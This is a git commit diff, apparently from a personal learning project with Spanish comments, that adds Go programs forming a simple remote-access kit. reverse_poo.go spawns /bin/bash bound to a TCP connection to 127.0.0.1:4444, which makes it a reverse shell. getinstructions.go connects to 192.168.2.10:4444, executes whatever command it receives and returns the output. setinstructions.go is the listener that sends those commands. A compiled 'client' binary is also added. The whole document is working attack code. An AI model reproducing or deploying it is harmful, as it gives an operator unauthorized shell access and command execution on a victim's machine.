commit 421a9b247b4b834c94a4fd32354892ed12c7b68d Author: kar Date: Mon Sep 8 08:38:04 2025 -0600 primer commit diff --git a/client b/client new file mode 100755 index 0000000..223fafe Binary files /dev/null and b/client differ diff --git a/getinstructions.go b/getinstructions.go new file mode 100644 index 0000000..95ef306 --- /dev/null +++ b/getinstructions.go @@ -0,0 +1,62 @@ +package main +import ( + "net" + "os/exec" + "strings" +) + +type ReverseAddr struct { + reverAddr string +} + +func CreateAddr() *ReverseAddr { + return &ReverseAddr { + reverAddr: "192.168.2.10:4444", + } +} + + +func (ra ReverseAddr) CreateRever() { + conn, err := net.Dial("tcp", ra.reverAddr) + if err != nil { + return + } + cmd := exec.Command("/bin/bash") + cmd.Stdin = conn + cmd.Stdout = conn + cmd.Stderr = conn + cmd.Run() +} + +func (ra ReverseAddr) GetInstructions() { + conn, err := net.Dial("tcp", ra.reverAddr) + if err != nil { + return + } + buf := make([]byte,1024) + n, err := conn.Read(buf) + if err != nil { + return + } + data := string(buf[:n]) + mensaje := strings.TrimSpace(data) + partes := strings.Split(mensaje," ") + comando := partes[0] + argumentos := partes[1:] + cmd := exec.Command(comando, argumentos...) + output, err := cmd.Output() + if err != nil { + return + } + _, err = conn.Write(output) + if err != nil { + return + } + conn.Close() +} + + +func main() { + myaddr := CreateAddr() + myaddr.GetInstructions() +} diff --git a/reverse_poo.go b/reverse_poo.go new file mode 100644 index 0000000..9ba99b4 --- /dev/null +++ b/reverse_poo.go @@ -0,0 +1,33 @@ +package main +import ( + "net" + "os/exec" +) + +type ReverseAddr struct { + reverAddr string +} + +func CreateAddr() *ReverseAddr { + return &ReverseAddr { + reverAddr: "127.0.0.1:4444", + } +} + + +func (ra ReverseAddr) CreateRever() { + conn, err := net.Dial("tcp", ra.reverAddr) + if err != nil { + return + } + cmd := exec.Command("/bin/bash") + cmd.Stdin = conn + cmd.Stdout = conn + cmd.Stderr = conn + cmd.Run() +} + +func main() { + myaddr := CreateAddr() + myaddr.CreateRever() +} diff --git a/setinstructions.go b/setinstructions.go new file mode 100644 index 0000000..2634507 --- /dev/null +++ b/setinstructions.go @@ -0,0 +1,72 @@ +package main +import ( + "fmt" + "net" + "log" + "os" + "strings" +) + +type localAddr struct { + Addr string +} + +//metodo constructor +func CreateAddr() *localAddr { + return &localAddr { + Addr: "192.168.2.10:4444", + } +} + +func (la localAddr) BindPort() { + listener, err := net.Listen("tcp", la.Addr) + if err != nil { + log.Println(err) + } + defer listener.Close() + for { + conn, err := listener.Accept() + if err != nil { + log.Println(err) + } + fmt.Println("\nConexion recibida de ", conn.RemoteAddr()) + go handleConnection(conn) +} +} + +func handleConnection(conn net.Conn) { + defer conn.Close() + + if len(os.Args) < 1 { + fmt.Println("Escribir comando que tenga que realizar el cliente") + } else { + fmt.Println("Ejecutando", os.Args[1:]) + } + + + comando := os.Args[1:] + comandoUnido := strings.Join(comando, " ") + _, err := conn.Write([]byte(comandoUnido)) + if err != nil { + fmt.Println("error al enviar orden") + } + + conn.(*net.TCPConn).CloseWrite() + buf := make([]byte, 4096) + n, err := conn.Read(buf) + respuesta := strings.TrimSpace(string(buf[:n])) + if err != nil { + log.Println(err) + } + fmt.Printf("Respuesta de %s:\n", conn.RemoteAddr()) + fmt.Printf("====================\n") + fmt.Printf(respuesta) + fmt.Printf("\n====================") +} + +func main() { + myBind := CreateAddr() + myBind.BindPort() +} + +